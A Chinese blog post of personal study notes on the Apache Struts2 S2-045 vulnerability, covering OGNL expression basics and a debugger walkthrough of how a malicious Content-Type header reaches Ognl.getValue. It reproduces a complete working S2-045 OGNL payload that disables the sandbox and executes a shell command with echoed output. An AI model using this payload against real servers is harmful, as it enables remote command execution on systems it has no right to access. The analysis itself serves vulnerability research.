最近刚放假,身边好多小伙伴都没放,刚好有时间搞搞技术。想来我过完年也要面对找工作的难题,看看我目前居然还没有分析过struct2的漏洞,心里发慌。赶紧趁着这两天分析分析,顺便学习ognl表达式。就以当年很火的s2-045为例。在调试分析的时候参照了很多师傅的分析文章,但是在我看来大部分都不够细致,便自己写一篇文章作为学习笔记。
ognl表达式基础
1、ognl作用
(1)支持对象方法的调用,如:(#cmd={'/bin/bash','-c','whoami'})(#p=new java.lang.ProcessBuilder(#cmd))
。
(2)支持类的静态方法的调用和静态属性的访问,如:@java.lang.Runtime@getRuntime().exec('whoami')
。
(3)支持赋值操作和表达式串联。这使得我们可以利用ognl表达式“编写”一段程序。
2、ognl三大要素
(1)上下文(Context对象)
在ognl表达式中不可避免的要使用上下文环境这一概念。网上各种官方的解释很多,我在这里就以我的理解来阐述。所谓的上下文环境,我的理解就是一个用于解析并且执行ognl表达式的环境。所有的ognl表达式都需要在上下文环境中才能解析执行。
(2)表达式
表达式是ognl的灵魂。所有的取值,赋值,以及我们所构造的payload都是以ognl表达式的形式呈现。这里也简单记录ognl的语法。在ognl中有三个符号经常使用,分别是#,%和$。#符号主要用途有三:访问非根对象(#user.id
),用于过滤和投影(books.{?#this.price>35}
)以及构造Map(#{'foo1':'bar1', 'foo2':'bar2'}
)。%符号是用于在标签属性中表明%{}
内部的字符串被当作ognl来解析。$符号有两个用途:在国际化资源文件中,引用OGNL表达式、在Struts 2配置文件中,引用OGNL表达式。
(3)根对象
根对象可以理解为ognl所面向的对象。ognl表达式对根对象进行操作。以任意一个对象为根,通过OGNL可以访问与这个对象关联的其它对象。
3、小结
如果把context对象看作是一个执行环境,那么表达式就是我们的逻辑代码,根对象和非根对象就是我们的变量。这里还有一点需要提一下,只有访问非根对象时才需要使用#
。访问根对象不用井号。ognl表达式的解析依赖于Ognl.parseExpression
方法,ognl表达式经过解析之后返回一个对象,接下来调用Ognl.getValue
方法执行表达式的内容。Ognl.getValue
方法使用语法:Ognl.getValue(object,content,root_object)
。
说了这么多,最主要的还是如何使用ognl实现命令执行。我参照网上现有的payload自己也写了一个:(#a=@java.lang.Runtime@getRuntime().exec('whoami')).(#b=#a.getInputStream()).(#c=new java.io.InputStreamReader(#b)).(#d=new java.io.BufferedReader(#c)).(#e=#d.readLine())
这条paylaod并不完善,没有做回显也没有做bypass,仅供自己学习使用。
s2-045漏洞简介
struct2原本的设计初衷是在处理报头为Content-Type:multipart/form-data
调用Jakarta解析器。初衷没有错,可是在我看来整个漏洞环节最致命之处就在于获取Content-Type
的值这一步。居然使用的是contains
方法。。。。。换句话说只要Content-Type
的值中存在multipart/form-data
字符串都将调用Jakarta解析器进行处理。这才导致后面引入ognl表达式。
s2-045调试分析
struct2版本:struct2.3.28
使用的payload:
1 | %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} |
我们从拦截器org/apache/struts2/dispatcher/Dispatcher.class
开始跟踪,我们在wrapRequest
方法中下断点。
第一个框处,我们只要在Content-Type
中传入multipart/form-data
字符串即可满足。第二个框表明struct2默认调用jakarta解析器解析Content-Type:multipart/form-data
数据包。我们跟入MultiPartRequestWrapper
。
继续跟入this.multi.parse
方法:
在parse
方法中this.processUpload
方法触发异常,在下面捕获到该异常。并且将异常信息传入this.buildErrorMessage
方法。捕获的异常信息如下:
可以看到主要描述就是Content-Type
异常,但是最恐怖的地方就在于,这里直接获取Content-Type
中的所有内容。如果是在做污点分析的话,这妥妥的就是一个污点呀。我们继续往下走,跟入this.buildErrorMessage
方法。
这里的e.getMessage()
就是获取我们上一张图的报错信息,其中就有构造的payload。跟进LocalizedTextUtil.findText
方法。
这里继续将defaultMessage
传入findText
方法中继续跟入:
跟进getDefaultMessage
方法:
这里将我们的defaultMessage
赋值给message
继续将message
传入TextParseUtil.translateVariables
。
连续步入三个方法就能进入真正的translateVariables
方法。看到这个方法的名字就容易让人兴奋parser.evaluate
。看名字就知道不是什么正经方法,肯定能解析某些东西。并且我们的expression
还传入其中。继续跟进。
parser.evaluate
方法前面半段代码的作用主要是取出%{}
或${}
的内容,将其作为ognl表达式传入evaluator.evaluate
方法。
这里是让我困扰了很久。我一开始一直以为是在evaluator.evaluate
方法中解析ognl表达式。而且网上很多分析也就到此为止了。并没有说具体在哪一个方法中解析。后来在调试的过程中发现,其实是在stack.findValue
方法中解析ognl表达式。我们跟入stack.findValue
方法。连续步入两次就能看到以下方法。
继续跟入tryFindValueWhenExpressionIsNotNull
。
哦!看到getValue
方法了!很兴奋,继续跟!
继续往下走:
finally!!!看到了Ognl.getValue
,并且我们构造的payload传入其中。成功解析ognl表达式。
小结
实际上也未必要像我这样从头跟到尾。我是跟踪到最后ognl表达式如何被解析。有的师傅在分析过程中也提到了:translateVariables()方法继承接口com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator
在创建对象后重写了evaluate()方法,通过该方法的说明文档可知evaluate()方法会解析ognl表达式。
也就是说只要走到parser.evaluate
方法中的evaluator.evaluate
方法,这里的参数可控就能确定有一个ognl表达式注入漏洞了!